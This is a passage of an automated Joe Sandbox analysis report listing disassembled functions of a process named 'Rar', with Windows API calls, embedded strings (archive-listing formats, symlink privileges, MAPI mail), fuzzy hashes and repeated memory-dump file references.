Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3d7844a0687e7d2c30c4a2ff1de21931fdde53daa9cd7f2da9a8084f280a1c67
Instruction ID: 41dd62dda2d6a74ad85f0423de3b4cb191c6e7e2e591d55a98db77c19f88df5d
Opcode Fuzzy Hash: 3d7844a0687e7d2c30c4a2ff1de21931fdde53daa9cd7f2da9a8084f280a1c67
Instruction Fuzzy Hash: F6F028329082C186EB009B7090643F833519F16BF4F084774DEBC8B2C7EE5E90858730

Function 00007FF6F67E683C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d737011ac6296c477f3fadd437ff6d769abe91436cc7ea45b90d5f9259e1e7
Instruction ID: 80a22b1dae20d9521ea439fa810acd29628028c16d8b4adab6f24d2b22f3ec14
Opcode Fuzzy Hash: a9d737011ac6296c477f3fadd437ff6d769abe91436cc7ea45b90d5f9259e1e7
Instruction Fuzzy Hash: 31E0B6A0E1930691EFA8662219764FA42591F36B80E58203ADD3ECA3C2FD1FE0896611

Function 00007FF6F67D4948 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF6F67D4961

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: b6460484e22801432570a3201c8bc189956724a2717836d2a6d61416c57fa8a7
Instruction ID: ade16bf6da5fd3b1f21c7bf009e25721021d1dfc714f1abe851935e5c1369fda
Opcode Fuzzy Hash: b6460484e22801432570a3201c8bc189956724a2717836d2a6d61416c57fa8a7
Instruction Fuzzy Hash: 6FE0C212B2051182EB20AB7BC9625782325EF8CF84B081070CEAC873B6DE2EC4818B10

Function 00007FF6F67D4758 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6F67D476A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b178cf94c899092104d56d51b40a777f1c0939ff52588a5c1fba5b48ae82caa1
Instruction ID: 91290ede889e56b2cedc9da38e42cb2211f60cea4ea285d969476a8e791e429c
Opcode Fuzzy Hash: b178cf94c899092104d56d51b40a777f1c0939ff52588a5c1fba5b48ae82caa1
Instruction Fuzzy Hash: CBD01212D0A441A3DE505736D86103C1355BF83F39FA40B70D23EC16E1DF1F95969310

Function 00007FF6F6822DD0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF6F6822DE0

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3b29ebb2a7f07187d1a87f73fe4420f21fd513071a050d23f04e1c23920688fd
Instruction ID: ddaddd8c049d6738fd4a16a101c05745a33aae848e1339bccdc92545f999492c
Opcode Fuzzy Hash: 3b29ebb2a7f07187d1a87f73fe4420f21fd513071a050d23f04e1c23920688fd
Instruction Fuzzy Hash: EFD09E65E39B0A87F7059B05EC5533116A8BF54725F810A7DC03E861D1FF6E64588720

Function 00007FF6F681A524 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6F681A579

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 4ff30a48cc1d7cd4cb1d702fe86ce09c3844d20e499471db0ef17e978463dd98
Instruction ID: c23aea1a79855a594bbcc7320f4b23c176e156e07085eb67f4ed7a85f7d318ee
Opcode Fuzzy Hash: 4ff30a48cc1d7cd4cb1d702fe86ce09c3844d20e499471db0ef17e978463dd98
Instruction Fuzzy Hash: 06F04994B2E60245FF5557A699112F553985F48B80F08443EC93EC66C2FD2EE5804230

Function 00007FF6F68187A0 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6F68187DE

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: cc915e8671fa927ce6d1bdc6ea5b35dea3ea29423a5becedee49bc68ff7e1f68
Instruction ID: 5d4bf767d96d48e784efe381d0485aef64d97fafedd830654a7fecfe90c1b20b
Opcode Fuzzy Hash: cc915e8671fa927ce6d1bdc6ea5b35dea3ea29423a5becedee49bc68ff7e1f68
Instruction Fuzzy Hash: 3EF01C90B3D60646FF5457625952A7556A85F84BB0F080A3DDD3FD62C2FE2EE4818630

Function 00007FF6F67D4260 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6F67D4215,?,00000001,00000000,?,00007FF6F67C8DBE), ref: 00007FF6F67D4288

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a4fb0b8628e8870b49c5814ac48d86c4e04c30ddd6e81ba7cf82ef5dc309b703
Instruction ID: 8895f821e5d847c4ecfcb00186a65ab452bb22d5d3a311ddf1ea30af74069694
Opcode Fuzzy Hash: a4fb0b8628e8870b49c5814ac48d86c4e04c30ddd6e81ba7cf82ef5dc309b703
Instruction Fuzzy Hash: 1BF0C222A0864295FB20CB21E4503B8376AEB45B7CF995334D77CC51CCEF69E896C310

Non-executed Functions

Function 00007FF6F67D9690 Relevance: 46.0, APIs: 1, Strings: 25, Instructions: 465COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67F76DC: LoadStringW.USER32 ref: 00007FF6F67F7763
Part of subcall function 00007FF6F67F76DC: LoadStringW.USER32 ref: 00007FF6F67F777C

Part of subcall function 00007FF6F67C9B7C: fflush.LIBCMT ref: 00007FF6F67C9BAF

Part of subcall function 00007FF6F67FE30C: Sleep.KERNEL32 ref: 00007FF6F67FE36C

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67D9C59

Strings

%12ls: %ls, xrefs: 00007FF6F67D9CB2
%s%s, xrefs: 00007FF6F67D996F
RAR 4, xrefs: 00007FF6F67D980D
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF6F67D9EA2
RAR 1.4, xrefs: 00007FF6F67D9826
V, xrefs: 00007FF6F67D9BC7
%s: %s, xrefs: 00007FF6F67D9A2B
%s%s, xrefs: 00007FF6F67D98F8
%12ls: %ls, xrefs: 00007FF6F67D9C89
%s%s, xrefs: 00007FF6F67D9844
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF6F67D9C0B
%s%s, xrefs: 00007FF6F67D989C
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF6F67D9BD3
EOF, xrefs: 00007FF6F67D9C82
%.10ls %u, xrefs: 00007FF6F67D9C46
%s%s, xrefs: 00007FF6F67D9871
%21ls %18s %lu, xrefs: 00007FF6F67D9EC1
%21ls %-16ls %u, xrefs: 00007FF6F67D9CE9
----------- --------- ---------- ----- ----, xrefs: 00007FF6F67D9CCC
%s: , xrefs: 00007FF6F67D9801
%s: %s, xrefs: 00007FF6F67D97E8
%s: %s, xrefs: 00007FF6F67D99E2
%s%s, xrefs: 00007FF6F67D99A6
RAR 5, xrefs: 00007FF6F67D9814
%s%s, xrefs: 00007FF6F67D9935

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$%s: %s$%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-2509903679
Opcode ID: 9d8a6233ab1c5137aafbdc858755c5978dc561cd413072deedbc1e26565539e9
Instruction ID: 6f650bb766f394277b7144f97dae9172d60bc61922181236569f6161065e4c7a
Opcode Fuzzy Hash: 9d8a6233ab1c5137aafbdc858755c5978dc561cd413072deedbc1e26565539e9
Instruction Fuzzy Hash: F722D162A1C6C299EB60DF24E4600F927AAFF45344F44053AD66E876DBFF2EE605C710

Function 00007FF6F67CE8D4 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 352fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67D0874: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6F67D0767), ref: 00007FF6F67D0897
Part of subcall function 00007FF6F67D0874: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6F67D0767), ref: 00007FF6F67D08A8
Part of subcall function 00007FF6F67D0874: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6F67D08CB
Part of subcall function 00007FF6F67D0874: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6F67D08EE
Part of subcall function 00007FF6F67D0874: GetLastError.KERNEL32 ref: 00007FF6F67D08F8
Part of subcall function 00007FF6F67D0874: CloseHandle.KERNEL32 ref: 00007FF6F67D090B

CreateFileW.KERNEL32 ref: 00007FF6F67CEB41
CloseHandle.KERNEL32 ref: 00007FF6F67CEB64
CreateDirectoryW.KERNEL32 ref: 00007FF6F67CEC15
CreateFileW.KERNEL32 ref: 00007FF6F67CED04
DeleteFileW.KERNEL32 ref: 00007FF6F67CEDF4

Part of subcall function 00007FF6F67D57AC: DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00007FF6F67D420E,?,00000001,00000000,?,00007FF6F67C8DBE), ref: 00007FF6F67D57D4
Part of subcall function 00007FF6F67D57AC: DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00007FF6F67D420E,?,00000001,00000000,?,00007FF6F67C8DBE), ref: 00007FF6F67D57FF

DeviceIoControl.KERNEL32 ref: 00007FF6F67CED68
CloseHandle.KERNEL32 ref: 00007FF6F67CED79
GetLastError.KERNEL32 ref: 00007FF6F67CED98
RemoveDirectoryW.KERNEL32 ref: 00007FF6F67CEDE6

Strings

\??\, xrefs: 00007FF6F67CE9AA
SeRestorePrivilege, xrefs: 00007FF6F67CE929
UNC\, xrefs: 00007FF6F67CE9E5
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6F67CE935

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: File$CloseCreateDeleteHandle$DirectoryErrorLastProcessToken$AdjustControlCurrentDeviceLookupOpenPrivilegePrivilegesRemoveValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 1653157587-3508440684
Opcode ID: 1cf75b0eb4d6c2fbc7e2fb587138bb778d36f30ecc95f4b31b5ee795e01fa122
Instruction ID: 0b3cd3f26cbe9791ae311811affc186d0f89647e2dd43ce37d4fdd7c7f504026
Opcode Fuzzy Hash: 1cf75b0eb4d6c2fbc7e2fb587138bb778d36f30ecc95f4b31b5ee795e01fa122
Instruction Fuzzy Hash: 52E1E522A1868296EB20DF20E5606FD33A9FF90798F504135DA7E97AD5EF3EE505C310

Function 00007FF6F67FDAD4 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 275libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,00000000,?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDB6A
GetProcAddress.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDB82
GetProcAddress.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDB9A
GetCurrentDirectoryW.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDBF2
GetFullPathNameA.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDC2D
SetCurrentDirectoryW.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDEA7
FreeLibrary.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDEB0
FreeLibrary.KERNEL32(?,00000001,00007FF6F67B3452), ref: 00007FF6F67FDEF6

Strings

MAPIFreeBuffer, xrefs: 00007FF6F67FDB90
MAPISendMail, xrefs: 00007FF6F67FDB60
MAPIResolveName, xrefs: 00007FF6F67FDB78
SMTP:, xrefs: 00007FF6F67FDCDB
MAPI32.DLL, xrefs: 00007FF6F67FDB43

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 3f68d81c00689386bc3b07fc064fd2384d54cb520a1dd65ed9568d851ede8dbc
Instruction ID: d9f518062fb994c7254daf7b42d097439d387243ba401602cf8f01567c592217
Opcode Fuzzy Hash: 3f68d81c00689386bc3b07fc064fd2384d54cb520a1dd65ed9568d851ede8dbc
Instruction Fuzzy Hash: F6C1F332A18B8186EB14DF21E8606A873A8FF44B84F544539DE6D87BD9EF3ED541C780

Function 00007FF6F67D9334 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 161comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00007FF6F67D9365
CoSetProxyBlanket.OLE32 ref: 00007FF6F67D9416
VariantClear.OLEAUT32 ref: 00007FF6F67D953C

Strings

Windows 10, xrefs: 00007FF6F67D9520
WQL, xrefs: 00007FF6F67D944A
ROOT\CIMV2, xrefs: 00007FF6F67D937A
Name, xrefs: 00007FF6F67D950F
SELECT * FROM Win32_OperatingSystem, xrefs: 00007FF6F67D9437

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: BlanketClearCreateInstanceProxyVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 2137927853-3505469590
Opcode ID: b2eb4fe55b1c4c982a3ed6751d05edf8d5276a990ee81d6ff6bd1b0ac0a02cd1
Instruction ID: 1b33a33b5461323b61be844c244d71fe1d2a5553893696619b4a6a2fae3de7e0
Opcode Fuzzy Hash: b2eb4fe55b1c4c982a3ed6751d05edf8d5276a990ee81d6ff6bd1b0ac0a02cd1
Instruction Fuzzy Hash: BF713F72A14A0596EB10CF25E8A01AD7779FB88B98F045536DE6E83BE5EF3ED444C340

Function 00007FF6F67FE1C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6F67FE1D7
OpenProcessToken.ADVAPI32 ref: 00007FF6F67FE1EA
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6F67FE202
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6F67FE233
